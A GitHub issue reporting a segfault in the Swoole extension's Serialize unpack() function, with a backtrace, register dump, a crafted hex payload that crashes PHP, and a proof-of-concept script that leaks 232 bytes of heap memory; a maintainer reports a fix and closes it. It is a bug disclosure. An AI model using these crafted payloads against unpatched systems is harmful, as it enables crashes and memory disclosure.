Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SIGSEGV in Swoole unpack() function #1882

Closed
X-C3LL opened this issue Aug 14, 2018 · 2 comments
Closed

SIGSEGV in Swoole unpack() function #1882

X-C3LL opened this issue Aug 14, 2018 · 2 comments

Comments

@X-C3LL
Copy link

X-C3LL commented Aug 14, 2018

Description:

Swoole unpack function produces a sigsegv when it calls i_zval_ptr_dtor:
Tested on:
PHP 7.2.8 (cli) (built: Aug 11 2018 10:07:44) ( NTS )
Swoole: swoole-4.0.4

Backtrace:
#0 0x0000555555bc0850 in i_zval_ptr_dtor (zval_ptr=0x7ffff3866b60) at /tmp/php-7.2.8/Zend/zend_variables.h:48
#1 zend_array_destroy (ht=0x7ffff385f3f0) at /tmp/php-7.2.8/Zend/zend_hash.c:1308
#2 0x0000555555b972a7 in _zval_dtor_func (p=0x7ffff385f3f0) at /tmp/php-7.2.8/Zend/zend_variables.c:43
#3 0x00007ffff30b5496 in _zval_ptr_dtor_nogc (zval_ptr=0x7fffffff7670) at /usr/local/include/php/Zend/zend_variables.h:40
#4 swoole_unserialize_object (buffer=0x0, return_value=0x7ffff38667c0, bucket_len=1 '\001', args=0x0, flag=0) at /tmp/swoole-4.0.4/swoole_serialize.c:1346
#5 0x00007ffff30aeecd in swoole_unserialize_arr (buffer=0x7ffff387f04b, zvalue=0x7ffff381c120, nNumOfElements=2, flag=0) at /tmp/swoole-4.0.4/swoole_serialize.c:829
#6 0x00007ffff30b6e92 in php_swoole_unserialize (buffer=0x7ffff387f01a, len=70, return_value=0x7ffff381c120, object_args=0x0, flag=0) at /tmp/swoole-4.0.4/swoole_serialize.c:1517
#7 0x00007ffff30b70f7 in zim_swoole_serialize_unpack (execute_data=0x7ffff381c150, return_value=0x7ffff381c120) at /tmp/swoole-4.0.4/swoole_serialize.c:1569
#8 0x0000555555d388b3 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER () at /tmp/php-7.2.8/Zend/zend_vm_execute.h:1032
#9 execute_ex (ex=0x7ffff381c030) at /tmp/php-7.2.8/Zend/zend_vm_execute.h:59768
#10 0x0000555555d4c095 in zend_execute (op_array=0x7ffff387c2a0, return_value=0x0) at /tmp/php-7.2.8/Zend/zend_vm_execute.h:63776
#11 0x0000555555b9cdfb in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /tmp/php-7.2.8/Zend/zend.c:1496
#12 0x0000555555aeba14 in php_execute_script (primary_file=0x7fffffffe0c0) at /tmp/php-7.2.8/main/main.c:2590
#13 0x0000555555d4f60d in do_cli (argc=2, argv=0x5555566f2830) at /tmp/php-7.2.8/sapi/cli/php_cli.c:1011
#14 0x0000555555d507d0 in main (argc=2, argv=0x5555566f2830) at /tmp/php-7.2.8/sapi/cli/php_cli.c:1404
#15 0x00007ffff69282e1 in __libc_start_main (main=0x555555d5014d

, argc=2, argv=0x7fffffffe518, init=, fini=, rtld_fini=, stack_end=0x7fffffffe508) at ../csu/libc-start.c:291
#16 0x0000555555684d3a in _start ()

Registers:

rax 0x1337 4919
rbx 0x0 0
rcx 0x14 20
rdx 0x1 1
rsi 0x7ffff3866b60 140737279060832
rdi 0x7ffff385f3f0 140737279030256
rbp 0x7fffffff7530 0x7fffffff7530
rsp 0x7fffffff7480 0x7fffffff7480
r8 0xffff 65535
r9 0x7fffffff7aac 140737488321196
r10 0x941 2369
r11 0x555555bbc584 93824998950276
r12 0x555555684d10 93824993479952
r13 0x7fffffffe510 140737488348432
r14 0x7ffff381c030 140737278754864
r15 0x7ffff386f140 140737279095104
rip 0x555555bc0850 0x555555bc0850 <zend_array_destroy+487>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

==More info==
► 0x555555bc0850 <zend_array_destroy+487> mov eax, dword ptr [rax]
0x555555bc0852 <zend_array_destroy+489> lea edx, [rax - 1]
0x555555bc0855 <zend_array_destroy+492> mov rax, qword ptr [rbp - 0x48]
0x555555bc0859 <zend_array_destroy+496> mov dword ptr [rax], edx
0x555555bc085b <zend_array_destroy+498> mov rax, qword ptr [rbp - 0x48]
0x555555bc085f <zend_array_destroy+502> mov eax, dword ptr [rax]
0x555555bc0861 <zend_array_destroy+504> test eax, eax
0x555555bc0863 <zend_array_destroy+506> jne zend_array_destroy+522 <0x555555bc0873>

0x555555bc0873 <zend_array_destroy+522> mov rax, qword ptr [rbp - 0x48]
0x555555bc0877 <zend_array_destroy+526> mov qword ptr [rbp - 0x50], rax
0x555555bc087b <zend_array_destroy+530> mov rax, qword ptr [rbp - 0x50]

43
44 static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC)
45 {
46 if (Z_REFCOUNTED_P(zval_ptr)) {
47 zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
► 48 if (!--GC_REFCOUNT(ref)) {
49 _zval_dtor_func(ref ZEND_FILE_LINE_RELAY_CC);
50 } else {
51 gc_check_possible_root(ref);
52 }
53 }


I am not sure, but I believe that with this issue a free() on an arbitrary address(using _val_dtor_func) can be done, so maybe this can be a vulnerability (but as I said, I am not sure).

Test script:

<?php
$data = "e802ea7b02ea7b02227b0a010800737464436c617373018b0470726f7037130a010800737464436c617373018fc10037130a010800737464436c617373010020003713454f46";
$obj = new \Swoole\Serialize();
$sor = hex2bin($data);
$ser = $obj->unpack($sor);
echo "[+] Swoole Unserialized:\n";
var_dump($ser);
//var_dump($obj->unpack($test));
//Sigsegv 0x1337
?>
@X-C3LL
Copy link
Author

X-C3LL commented Aug 14, 2018

I believe the issue is in the function get_pack_string_len_addr, because the size used for the key is not checked correctly. For example I can build a custom exploit that leaks 232 bytes of memory:

<?php
$data = "e802ea7b02ea7b02227b0a010800737464436c61737301930470726f7028d7cb000a010800737464436c6173730197c10028d7cb000a010800737464436c6173730197010028d7cb00454f46";
$obj = new \Swoole\Serialize();
$sor = hex2bin($data);
$ser = $obj->unpack($sor);
echo "[+] Swoole Unserialized:\n";
var_dump($ser);
echo "[+] Memory Leaked:\n";
$keys = key(get_object_vars($ser[1]));
echo bin2hex($keys);
echo "\n[+] Size: \n";
echo strlen($keys);
?>

When executed:

⇒  php memory_leak.php
[+] Swoole Unserialized:
array(2) {
  [123]=>
  array(2) {
    [123]=>
    array(2) {
      [123]=>
      NULL
      [1]=>
      object(stdClass)#2 (1) {
        ["prop"]=>
        int(13358888)
      }
    }
    [1]=>
    object(stdClass)#3 (1) {
      ["prop"]=>
      int(13358888)
    }
  }
  [1]=>
  object(stdClass)#4 (1) {
    ["{{"{
stdClassprop(
stdClass(
stdClass(EOFH<<@Dž<`<p<@ƅ<<@ ƅ<P<<"]=>
    int(13358888)
  }
}
[+] Memory Leaked:
02ea7b02ea7b02227b0a010800737464436c61737301930470726f7028d7cb000a010800737464436c6173730197c10028d7cb000a010800737464436c6173730197010028d7cb00454f460000000048f0c7853c7f0000e0f0c7853c7f000040b2c7853c7f00000614000002000000050200000200000060f0c7853c7f000070f0c7853c7f00004000000000000000c093c6853c7f000006140000030000000001000003000000a0f0c7853c7f0000400000000000000020b1c6853c7f0000061400000300000050f1c7853c7f0000c815c0853c7f00000614000003000000800000000300000000
[+] Size:
232

If I put a breakpoint at the line 709 (right after the the call to get_pack...) I can see how it tries to create zend_string with the size 232 (p->key = zend_string_init((char*) str_pool_addr, key_len, 0);):

 704         {
   705             size_t key_len;
   706             if (type.key_len == 3)
   707             {//read the same mem
   708                 void *str_pool_addr = get_pack_string_len_addr(&buffer, &key_len);
 ► 709                 p->key = zend_string_init((char*) str_pool_addr, key_len, 0);
   710                 h = zend_inline_hash_func((char*) str_pool_addr, key_len);
   711                 p->key->h = p->h = h;
   712             }
   713             else
   714             {//move step

Breakpoint swoole_serialize.c:709
pwndbg> print key_len
$1 = 232

@GXhua GXhua added the bug label Aug 15, 2018
@GXhua
Copy link
Member

GXhua commented Aug 15, 2018

fixed in master branch

@GXhua GXhua closed this as completed Aug 15, 2018
@twose twose added the fixed label Aug 15, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants